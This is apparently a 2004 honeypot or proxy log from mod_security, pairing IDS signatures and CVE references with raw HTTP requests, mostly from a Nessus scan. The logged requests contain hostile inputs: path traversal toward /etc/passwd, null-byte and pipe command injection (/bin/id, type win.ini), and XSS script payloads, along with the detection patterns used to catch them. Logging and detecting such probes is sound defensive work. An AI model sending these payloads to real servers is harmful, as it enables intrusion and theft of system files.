1575attempted-reconWEB-MISC Domino mab.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:16 2004] "GET /mab.nsf HTTP/1.1" 403 291
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/mab.nsf
----------------------------------------
GET /mab.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=83
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1576attempted-reconWEB-MISC Domino cersvr.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:16 2004] "GET /cersvr.nsf HTTP/1.1" 403 294
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/cersvr.nsf
----------------------------------------
GET /cersvr.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=87
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1577attempted-reconWEB-MISC Domino setup.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:14 2004] "GET /setup.nsf HTTP/1.1" 403 293
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/setup.nsf
----------------------------------------
GET /setup.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1578attempted-reconWEB-MISC Domino statrep.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:15 2004] "GET /statrep.nsf HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/statrep.nsf
----------------------------------------
GET /statrep.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1579attempted-reconWEB-MISC Domino webadmin.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:15 2004] "GET /webadmin.nsf HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/webadmin.nsf
----------------------------------------
GET /webadmin.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=89
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1580attempted-reconWEB-MISC Domino events4.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:16 2004] "GET /events4.nsf HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/events4.nsf
----------------------------------------
GET /events4.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=85
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1581attempted-reconWEB-MISC Domino ntsync4.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:16 2004] "GET /ntsync4.nsf HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/ntsync4.nsf
----------------------------------------
GET /ntsync4.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=81
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1582attempted-reconWEB-MISC Domino collect4.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:17 2004] "GET /collect4.nsf HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/collect4.nsf
----------------------------------------
GET /collect4.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=79
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1583attempted-reconWEB-MISC Domino mailw46.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:17 2004] "GET /mailw46.nsf HTTP/1.1" 403 295
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/mailw46.nsf
----------------------------------------
GET /mailw46.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=77
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1584attempted-reconWEB-MISC Domino bookmark.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:17 2004] "GET /bookmark.nsf HTTP/1.1" 403 296
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/bookmark.nsf
----------------------------------------
GET /bookmark.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=75
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1585attempted-reconWEB-MISC Domino agentrunner.nsf access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:18 2004] "GET /agentrunner.nsf HTTP/1.1" 403 299
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/agentrunner.nsf
----------------------------------------
GET /agentrunner.nsf HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=73
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1586attempted-reconWEB-MISC Domino mail.box access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:18 2004] "GET /mail.box HTTP/1.1" 403 292
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/mail.box
----------------------------------------
GET /mail.box HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=71
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1587arachNIDS 265
BID3885
Nessus 10040
CVE-2000-0521
Nessus 10623
web-application-activityWEB-MISC cgitest.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:48 2004] "GET /cgi-bin/cgitest.exe HTTP/1.1" 404 299
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/cgitest\.exe" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/cgitest.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/cgitest\.exe" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1589web-application-attackWEB-MISC musicat empower attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:07 2004] "GET /cgi-bin/empower?DB=whateverwhatever HTTP/1.1" 403 299
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/empower
----------------------------------------
GET /cgi-bin/empower?DB=whateverwhatever HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1591BID3810
Nessus 10837
web-application-activityWEB-CGI faqmanager.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:24 2004] "GET /cgi-bin/faqmanager.cgi?toc=/etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/faqmanager.cgi?toc=/etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1592Nessus 10838web-application-activityWEB-CGI /fcgi-bin/echo.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:47:16 2004] "GET /fcgi-bin/echo.exe?foo=<SCRIPT>alert(document.domain)</SCRIPT> HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/fcgi-bin/echo.exe] for 50000 ms
----------------------------------------
GET /fcgi-bin/echo.exe?foo=<SCRIPT>alert(document.domain)</SCRIPT> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "<[[:space:]]*script" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1594CAN-1999-1050
Nessus 10075
web-application-activityWEB-CGI FormHandler.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:31:27 2004] "POST /FormHandler.cgi HTTP/1.1" 404 295
Handler: (null)
Error: mod_security: Warning. Pattern match "/FormHandler\.cgi" at THE_REQUEST.
----------------------------------------
POST /FormHandler.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, */*
Accept-Language: en
Content-type: application/x-www-form-urlencodedrealname=aaa&email=aaa&reply_message_template=%2Fetc%2Fpasswd&reply_message_from=nessus%40nessus.org&redirect=http%3A%2F%2Fwww.nessus.org&recipient=nessus%40nessus.org
Host: www.testproxy.net
User-Agent: Nessus
mod_security-message: Warning. Pattern match "/FormHandler\.cgi" at THE_REQUEST.



HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1595CAN-2000-0122
CAN-2000-0256
Nessus 10376
web-application-activityWEB-IIS htimage.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:51 2004] "GET /cgi-bin/htimage.exe HTTP/1.1" 404 299
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/htimage\.exe" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/htimage.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/htimage\.exe" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1597CVE-1999-0237
Nessus 10098
web-application-activityWEB-CGI guestbook.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:50 2004] "GET /cgi-sys/guestbook.cgi?user=cpanel&template=|/bin/id| HTTP/1.1" 404 301
Handler: (null)
Error: mod_security: Warning. Pattern match "/guestbook\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-sys/guestbook.cgi?user=cpanel&template=|/bin/id| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/guestbook\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1599BID921
CAN-2000-0054
web-application-activityWEB-CGI search.cgi access
Request: 61.237.215.17 - - [Wed Mar 10 00:48:04 2004] "GET http://www.honey-search.com/cgi-bin/smartsearch/search.cgi?keywords=Flowers&username=gu0000 HTTP/1.0" 200 71
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/search\.cgi" at THE_REQUEST.
----------------------------------------
GET http://www.honey-search.com/cgi-bin/smartsearch/search.cgi?keywords=Flowers&username=gu0000 HTTP/1.0
Accept: image/gif, image/jpeg, image/x-xbitmap, application/msword, */*
Accept-Language: en-us
Host: www.honey-search.com
Pragma: no-cache
Referer: http://www.linkou.con.cn
User-Agent: Mozilla/4.5 [en-us] (Win98; I)
X-Forwarded-For: 208.65.173.33
mod_security-message: Access denied with code 200. Pattern match "/search" at THE_REQUEST.

HTTP/1.0 200 OK
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
1600CVE-2000-0208web-application-attackWEB-CGI htsearch arbitrary configuration file attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:41:20 2004] "GET /cgi-bin/htsearch?-c/nonexistent HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/htsearch] for 50000 ms
----------------------------------------
GET /cgi-bin/htsearch?-c/nonexistent HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/htsearch\?-c" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1602CVE-2000-0208web-application-activityWEB-CGI htsearch access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:43 2004] "GET /cgi-bin/htsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words= HTTP/1.1" 404 296
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/htsearch" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/htsearch?config=foofighter&restrict=&exclude=&method=and&format=builtin-long&sort=score&words= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/htsearch" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1608CVE-1999-0264
BID2001
web-application-attackWEB-CGI htmlscript attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:06 2004] "GET /cgi-bin/htmlscript?../../../../../../../../../etc/passwd HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/htmlscript] for 50000 ms
----------------------------------------
GET /cgi-bin/htmlscript?../../../../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/htmlscript\?\.\./\.\." at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1612Nessus 10467
BID1471
CAN-2000-0674
web-application-attackWEB-MISC ftp.pl attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:07 2004] "GET /cgi-bin/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/ftp
----------------------------------------
GET /cgi-bin/ftp/ftp.pl?dir=../../../../../../etc HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1614CAN-1999-1006
BID879
attempted-reconWEB-MISC Novell Groupwise gwweb.exe attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:12 2004] "GET /GW5/GWWEB.EXE?HELP=bad-request HTTP/1.1" 403 297
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/GW5
----------------------------------------
GET /GW5/GWWEB.EXE?HELP=bad-request HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1637BID1668
arachNIDS 462
CVE-2000-0853
attempted-reconWEB-CGI yabb access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:00 2004] "GET /yabbse/index.php?board=nonexistant727076206 HTTP/1.1" 404 296
Handler: (null)
Error: File does not exist: /usr/local/apache/htdocs/yabbse/index.php
----------------------------------------
GET /yabbse/index.php?board=nonexistant727076206 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1645BID7214
Nessus 11610
web-application-activityWEB-CGI testcgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:08 2004] "GET /cgi-bin/testcgi.exe?<script>x</script> HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/testcgi.exe
----------------------------------------
GET /cgi-bin/testcgi.exe?<script>x</script> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1646web-application-activityWEB-CGI test.cgi access
Request: 217.13.212.74 - - [Fri Mar 12 02:01:17 2004] "POST http://earth.prohosting.com/lauril/cgi-bin/test.cgi HTTP/1.0" 200 905
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/test\.cgi" at THE_REQUEST.
----------------------------------------
POST http://earth.prohosting.com/lauril/cgi-bin/test.cgi HTTP/1.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: ru, en
Content-Length: 43
Content-Type: application/x-www-form-urlencoded
Host: earth.prohosting.com
Pragma: no-cache
Proxy-Connection: close
Referer: http://earth.prohosting.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 2000; DigExt)
mod_security-message: Warning. Pattern match "/test\.cgi" at THE_REQUEST.

par1=dhfsdjk&par2=hasdjfhskj&par3=fhasdjfsh

HTTP/1.0 200 OK
Content-Length: 905
Content-Type: text/html
X-Cache: MISS from www.testproxy.net
Connection: close
1648Nessus 10173
arachNIDS 219
CA-1996-11
CAN-1999-0509
attempted-reconWEB-CGI perl.exe command attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:40:34 2004] "GET /cgi-bin/perl.exe?-v HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/perl.exe] for 50000 ms
----------------------------------------
GET /cgi-bin/perl.exe?-v HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/perl\.exe\?" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1649Nessus 10173
arachNIDS 219
CA-1996-11
CAN-1999-0509
attempted-reconWEB-CGI perl command attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:40:29 2004] "GET /cgi-bin/perl?-v HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: pausing [/cgi-bin/perl] for 50000 ms
----------------------------------------
GET /cgi-bin/perl?-v HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "/perl\?" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1650BID770
CAN-1999-0885
web-application-activityWEB-CGI tst.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:56 2004] "GET /cgi-bin/tst.bat|type%20c:\windows\win.ini HTTP/1.1" 404 319
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/tst\.bat" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/tst.bat|type%20c:\windows\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/tst\.bat" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1653BID1975web-application-activityWEB-CGI campus access
Request: 69.105.196.251 - - [Sat Mar 13 13:10:34 2004] "GET http://www.greatsexu.com/hallways/campusjump.html HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://www.greatsexu.com/hallways/campusjump.html] for 50000 ms
----------------------------------------
GET http://www.greatsexu.com/hallways/campusjump.html HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Authorization: Basic ZW1taXR0dHQ6c21pdGgyMg==
Host: www.greatsexu.com
Referer: <NONE>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6
mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1656web-application-activityWEB-CGI pfdispaly.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:39 2004] "GET /cgi-bin/pfdispaly.cgi?../../../../../../etc/passwd HTTP/1.1" 403 305
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/pfdispaly.cgi
----------------------------------------
GET /cgi-bin/pfdispaly.cgi?../../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1658Nessus 10591
BID1864
CAN-2000-0940
web-application-activityWEB-CGI pagelog.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:36:47 2004] "GET /cgi-bin/pagelog.cgi HTTP/1.1" 404 299
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/pagelog\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/pagelog.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/pagelog\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1660web-application-activityWEB-IIS trace.axd access
Request: 217.160.165.173 - - [Fri Mar 12 22:45:17 2004] "GET /trace.axd HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: Warning. Pattern match "/trace\.axd" at THE_REQUEST.
----------------------------------------
GET /trace.axd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "TRACE" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1700arachNIDS 412
CVE-1999-0951
web-application-activityWEB-CGI imagemap.exe access
Request: 217.160.165.173 - - [Fri Mar 12 22:46:51 2004] "GET /cgi-bin/imagemap.exe HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/imagemap.exe
----------------------------------------
GET /cgi-bin/imagemap.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
